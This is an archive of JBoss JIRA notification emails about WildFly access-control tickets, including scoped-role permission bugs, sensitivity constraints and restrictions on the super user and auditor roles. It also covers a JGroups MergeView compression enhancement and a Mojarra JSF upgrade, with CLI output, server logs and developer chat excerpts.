From jira-events at lists.jboss.org  Mon Sep 16 11:17:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 11:17:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2086) Update platform-mbean
 resources to allow configuration of sensitivity constraints
In-Reply-To: <JIRA.12500784.1379344595985@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500784.1379344595985@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500784.1379344595985.28025.1379344624332@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2086:
--------------------------------------

             Summary: Update platform-mbean resources to allow configuration of sensitivity constraints
                 Key: WFLY-2086
                 URL: https://issues.jboss.org/browse/WFLY-2086
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Tomaz Cerar
             Fix For: 8.0.0.Beta1


See https://docs.google.com/spreadsheet/ccc?key=0Au0knNJrYUJhdFlSSEVpdGJpQnlDOURXYTRYajhaZWc#gid=1 for a listing of the resources/attributes/ops in the management model. Column Z outlines where sensitivity classifications need to be applied to various items.

This task is to look for all the core-service=platform-mbean items and make sure the listed classifications are applied.

The basic issue here is these resources are not using AttributeDefinition/OperationDefinition and need to be converted to that in order to support configuring the constraint.

Note: IT IS NOT A REQUIREMENT TO CONVERT ALL OF THESE RESOURCES. Only those that need sensitivity classifications. In fact I'd prefer that changes be kept as focused as possible.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 11:19:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 11:19:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1817) Ensure platform-mbean misc
 write ops require write perms
In-Reply-To: <JIRA.12497907.1375583083000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497907.1375583083000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497907.1375583083000.28053.1379344743958@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1817?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry reassigned WFLY-1817:
--------------------------------------

    Assignee: Tomaz Cerar

    
> Ensure platform-mbean misc write ops require write perms
> --------------------------------------------------------
>
>                 Key: WFLY-1817
>                 URL: https://issues.jboss.org/browse/WFLY-1817
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Tomaz Cerar
>             Fix For: 8.0.0.CR1
>
>
> The platform-mbean resources have a variety of write ops that change runtime state but don't do anything to inform the OperationContext that they are doning so. The OC needs to be signalled so it can enforce write permissions.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 11:27:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 16 Sep 2013 11:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1391) Compress MergeViews
In-Reply-To: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12452753.1321957501000.28119.1379345223514@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1391?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804543#comment-12804543 ] 

Bela Ban commented on JGRP-1391:
--------------------------------

When marshalling a MergeView whose subgroups contains MergeViews, we should marshall the MergeViews in the subgroups as simple Views. This is (1) simpler and (2) I don't think anyone wants the subgroups' subgroup information...
                
> Compress MergeViews
> -------------------
>
>                 Key: JGRP-1391
>                 URL: https://issues.jboss.org/browse/JGRP-1391
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> The 'subgroups' field of MergeView is a list of Views, referring to the subclusters that formed the new view.
> Each View in that list contains (1) the creator of the view, (2) an ID and (3) a list of member addresses.
> Both (1) and (3) are present in the new MergeView, so, to save memory and message sizes, 'subgroups' could be compressed: (1) and (3) could be indices into View's 'members' field. 
> Example: if we have MergeView A|22=\{A,B,C,D,E,X,Y,Z\}, subgroups=A|21=\{A,B,C\}, D|19=\{D,E\}, X|20=\{X,Y,Z\},
> then 'subgroups' can be compressed as follows:
> subgroups=0|21=\{0,1,2\}, 3|19=\{3,4\}, 5|20=\{5,6,7\}
> This is possible because the indices never change, as the contents of Views and MergeViews are static, e.g. we can never add or remove a member: to do this, a new View/MergeView would be created.
> Substituting addresses with indices (shorts, possibly using variable-bit encoding) reduces the memory footprint of a view, and the size of a serialized view on the wire.
> Getting the subgroups field, e.g. using method getSubgroups() would synthesize the List<View> just-in-time.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 11:27:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 11:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2025) Remove configurability of
 VaultExpressionSensitivityConfig addressability
In-Reply-To: <JIRA.12500269.1378670809000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500269.1378670809000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500269.1378670809000.28126.1379345223796@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2025?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry reassigned WFLY-2025:
--------------------------------------

    Assignee: Kabir Khan  (was: Brian Stansberry)

    
> Remove configurability of VaultExpressionSensitivityConfig addressability
> -------------------------------------------------------------------------
>
>                 Key: WFLY-2025
>                 URL: https://issues.jboss.org/browse/WFLY-2025
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> Vault expression apply to attributes, while addressability permissions apply to resources. So the notions are unrelated and the access control configuration API should not conflate them.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 12:21:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 16 Sep 2013 12:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2087) Administrator should be
 prevented from modifying super user and auditor roles.
In-Reply-To: <JIRA.12500788.1379348381402@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500788.1379348381402@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500788.1379348381402.28203.1379348463430@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2087:
--------------------------------------

             Summary: Administrator should be prevented from modifying super user and auditor roles.
                 Key: WFLY-2087
                 URL: https://issues.jboss.org/browse/WFLY-2087
             Project: WildFly
          Issue Type: Task
          Components: Domain Management, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
            Priority: Critical
             Fix For: 8.0.0.Beta1


These roles have maximum privileges in their area, i.e. super user can do everything and auditor can stop changes to the server being logged.

The administrator role should be prevented from modifying these two roles.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 12:21:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 16 Sep 2013 12:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2087) Administrator should be
 prevented from modifying super user and auditor roles.
In-Reply-To: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500788.1379348381000.28206.1379348463591@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2087?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2087:
-----------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Task)

    
> Administrator should be prevented from modifying super user and auditor roles.
> ------------------------------------------------------------------------------
>
>                 Key: WFLY-2087
>                 URL: https://issues.jboss.org/browse/WFLY-2087
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> These roles have maximum privileges in their area, i.e. super user can do everything and auditor can stop changes to the server being logged.
> The administrator role should be prevented from modifying these two roles.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 12:23:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 16 Sep 2013 12:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1391) Compress MergeViews
In-Reply-To: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12452753.1321957501000.28212.1379348583518@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1391?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804566#comment-12804566 ] 

Bela Ban commented on JGRP-1391:
--------------------------------

The new compressed implementation has 1947 bytes for 100 members, that's almost half of the above 3467 !
                
> Compress MergeViews
> -------------------
>
>                 Key: JGRP-1391
>                 URL: https://issues.jboss.org/browse/JGRP-1391
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> The 'subgroups' field of MergeView is a list of Views, referring to the subclusters that formed the new view.
> Each View in that list contains (1) the creator of the view, (2) an ID and (3) a list of member addresses.
> Both (1) and (3) are present in the new MergeView, so, to save memory and message sizes, 'subgroups' could be compressed: (1) and (3) could be indices into View's 'members' field. 
> Example: if we have MergeView A|22=\{A,B,C,D,E,X,Y,Z\}, subgroups=A|21=\{A,B,C\}, D|19=\{D,E\}, X|20=\{X,Y,Z\},
> then 'subgroups' can be compressed as follows:
> subgroups=0|21=\{0,1,2\}, 3|19=\{3,4\}, 5|20=\{5,6,7\}
> This is possible because the indices never change, as the contents of Views and MergeViews are static, e.g. we can never add or remove a member: to do this, a new View/MergeView would be created.
> Substituting addresses with indices (shorts, possibly using variable-bit encoding) reduces the memory footprint of a view, and the size of a serialized view on the wire.
> Getting the subgroups field, e.g. using method getSubgroups() would synthesize the List<View> just-in-time.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 12:35:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 16 Sep 2013 12:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2088) Error creating server group
 as scoped role user
In-Reply-To: <JIRA.12500789.1379349208443@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500789.1379349208443@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500789.1379349208443.28226.1379349303571@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2088:
---------------------------------

             Summary: Error creating server group as scoped role user
                 Key: WFLY-2088
                 URL: https://issues.jboss.org/browse/WFLY-2088
             Project: WildFly
          Issue Type: Feature Request
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


I've got a scoped role

{noformat}
[domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
{
    "outcome" => "success",
    "result" => {
        "base-role" => "MAINTAINER",
        "server-groups" => ["main-server-group"]
    }
}
{noformat}

and try to create a server group, which leads to an exception:
{noformat}
[domain at localhost:9999 /] /server-group=fooBar:add(){roles=MAIN-MAINTAINER}
{
    "outcome" => "failed",
    "failure-description" => "JBAS014807: Management resource '[(\"server-group\" => \"fooBar\")]' not found",
    "rolled-back" => true
}
{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 12:43:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 16 Sep 2013 12:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2088) Error creating server group
 as scoped role user
In-Reply-To: <JIRA.12500789.1379349208000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500789.1379349208000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500789.1379349208000.28233.1379349784076@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2088?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804571#comment-12804571 ] 

Heiko Braun commented on WFLY-2088:
-----------------------------------

bstansberry: hbraun: why should that work? MAIN_MAINTAINER has no perms for server-group fooBar
[6:36pm] hbraun: bstansberry: it would work because the user creates it ?
[6:36pm] hbraun: it didn't exist before
[6:37pm] bstansberry: if he were a MAINTAINER, sure, but why should a role that is scoped to main-server-group have perms to create some entirely new server group?
[6:37pm] hbraun: bstansberry: don't know. that's what I expected
[6:37pm] hbraun: why not?
[6:38pm] hbraun: so your answer is: scoped roles cannot create new server groups
[6:38pm] bstansberry: sure. scoped roles are constrained to their server group. they can't do anything globabl
[6:38pm] bstansberry: global
[6:39pm] hbraun: bstansberry: then at least the error message should be fixed
[6:40pm] hbraun: bstansberry: and maybe the add operation not be allowed
[6:40pm] hbraun: bstansberry: buit that last one might be my bad, reading the wrong group
[6:42pm] hbraun: bstansberry: no, it seems the permission for the add operation are granted
                
> Error creating server group as scoped role user
> -----------------------------------------------
>
>                 Key: WFLY-2088
>                 URL: https://issues.jboss.org/browse/WFLY-2088
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> I've got a scoped role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> and try to create a server group, which leads to an exception:
> {noformat}
> [domain at localhost:9999 /] /server-group=fooBar:add(){roles=MAIN-MAINTAINER}
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS014807: Management resource '[(\"server-group\" => \"fooBar\")]' not found",
>     "rolled-back" => true
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 12:54:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 12:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2088) Error creating server group
 as scoped role user
In-Reply-To: <JIRA.12500789.1379349208000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500789.1379349208000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500789.1379349208000.28243.1379350443572@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2088?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2088:
-----------------------------------

    Issue Type: Bug  (was: Feature Request)
      Assignee: Kabir Khan  (was: Brian Stansberry)


The error here is the r-r-d data saying this is allowed. It's not.

A nice to have would be an "unauthorize" error message, but I doubt that's easily doable.
                
> Error creating server group as scoped role user
> -----------------------------------------------
>
>                 Key: WFLY-2088
>                 URL: https://issues.jboss.org/browse/WFLY-2088
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> I've got a scoped role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> and try to create a server group, which leads to an exception:
> {noformat}
> [domain at localhost:9999 /] /server-group=fooBar:add(){roles=MAIN-MAINTAINER}
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS014807: Management resource '[(\"server-group\" => \"fooBar\")]' not found",
>     "rolled-back" => true
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 13:00:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 16 Sep 2013 13:00:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2088) Error creating server group
 as scoped role user
In-Reply-To: <JIRA.12500789.1379349208000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500789.1379349208000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500789.1379349208000.28256.1379350803531@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2088?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804575#comment-12804575 ] 

Heiko Braun commented on WFLY-2088:
-----------------------------------

hbraun: kkhan: server group scoped role exeucting the add operation
[6:47pm] hbraun: on server groups
[6:47pm] hbraun: it's not allowed, but rrd says otherwise
                
> Error creating server group as scoped role user
> -----------------------------------------------
>
>                 Key: WFLY-2088
>                 URL: https://issues.jboss.org/browse/WFLY-2088
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> I've got a scoped role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> and try to create a server group, which leads to an exception:
> {noformat}
> [domain at localhost:9999 /] /server-group=fooBar:add(){roles=MAIN-MAINTAINER}
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS014807: Management resource '[(\"server-group\" => \"fooBar\")]' not found",
>     "rolled-back" => true
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 13:06:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 16 Sep 2013 13:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2088) Error creating server group
 as scoped role user
In-Reply-To: <JIRA.12500789.1379349208000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500789.1379349208000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500789.1379349208000.28264.1379351163480@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2088?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804576#comment-12804576 ] 

Heiko Braun commented on WFLY-2088:
-----------------------------------

I am using this mapping:

https://gist.github.com/heiko-braun/6583491
                
> Error creating server group as scoped role user
> -----------------------------------------------
>
>                 Key: WFLY-2088
>                 URL: https://issues.jboss.org/browse/WFLY-2088
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> I've got a scoped role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> and try to create a server group, which leads to an exception:
> {noformat}
> [domain at localhost:9999 /] /server-group=fooBar:add(){roles=MAIN-MAINTAINER}
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS014807: Management resource '[(\"server-group\" => \"fooBar\")]' not found",
>     "rolled-back" => true
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 13:42:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 16 Sep 2013 13:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composte
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242793@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242793@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242793.28302.1379353323469@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2089:
---------------------------------

             Summary: Error executing composte operation as server group role
                 Key: WFLY-2089
                 URL: https://issues.jboss.org/browse/WFLY-2089
             Project: WildFly
          Issue Type: Feature Request
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


This role

{noformat}
[domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
{                                          
    "outcome" => "success",
    "result" => {
        "base-role" => "MAINTAINER",
        "server-groups" => ["main-server-group"]
    }
}
{noformat}

... executing this operation 

{noformat}
[INFO] {
[INFO]     "address" => [],
[INFO]     "operation" => "composite",
[INFO]     "steps" => [
[INFO]         {
[INFO]             "address" => [],
[INFO]             "operation" => "read-children-resources",
[INFO]             "child-type" => "deployment"
[INFO]         },
[INFO]         {
[INFO]             "operation" => "read-children-resources",
[INFO]             "child-type" => "server-group"
[INFO]         },
[INFO]         {
[INFO]             "address" => [
[INFO]                 ("server-group" => "*"),
[INFO]                 ("deployment" => "*")
[INFO]             ],
[INFO]             "operation" => "read-resource"
[INFO]         }
[INFO]     ]
[INFO] }
{noformat}


... leads to:

{noformat}
[Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
[Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
[Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
[Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
[Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
[Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
[Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
[Host Controller]     (\"host\" => \"master\"),
[Host Controller]     (\"server\" => \"server-two\")
[Host Controller] ]"
{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 13:42:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 16 Sep 2013 13:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.28306.1379353323655@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2089:
------------------------------

    Summary: Error executing composite operation as server group role  (was: Error executing composte operation as server group role)

    
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 13:48:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 13:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2022) Update JSF based on Mojarra
	2.2.3 final
In-Reply-To: <JIRA.12500243.1378495699000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500243.1378495699000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500243.1378495699000.28312.1379353683450@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2022?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2022:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1008632

    
> Update JSF based on Mojarra 2.2.3 final
> ---------------------------------------
>
>                 Key: WFLY-2022
>                 URL: https://issues.jboss.org/browse/WFLY-2022
>             Project: WildFly
>          Issue Type: Library Upgrade
>          Components: JSF
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stan Silvert
>             Fix For: 8.0.0.Beta1
>
>
> Update JSF based on Mojarra 2.2.3 Final, published at Sep, 5th.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
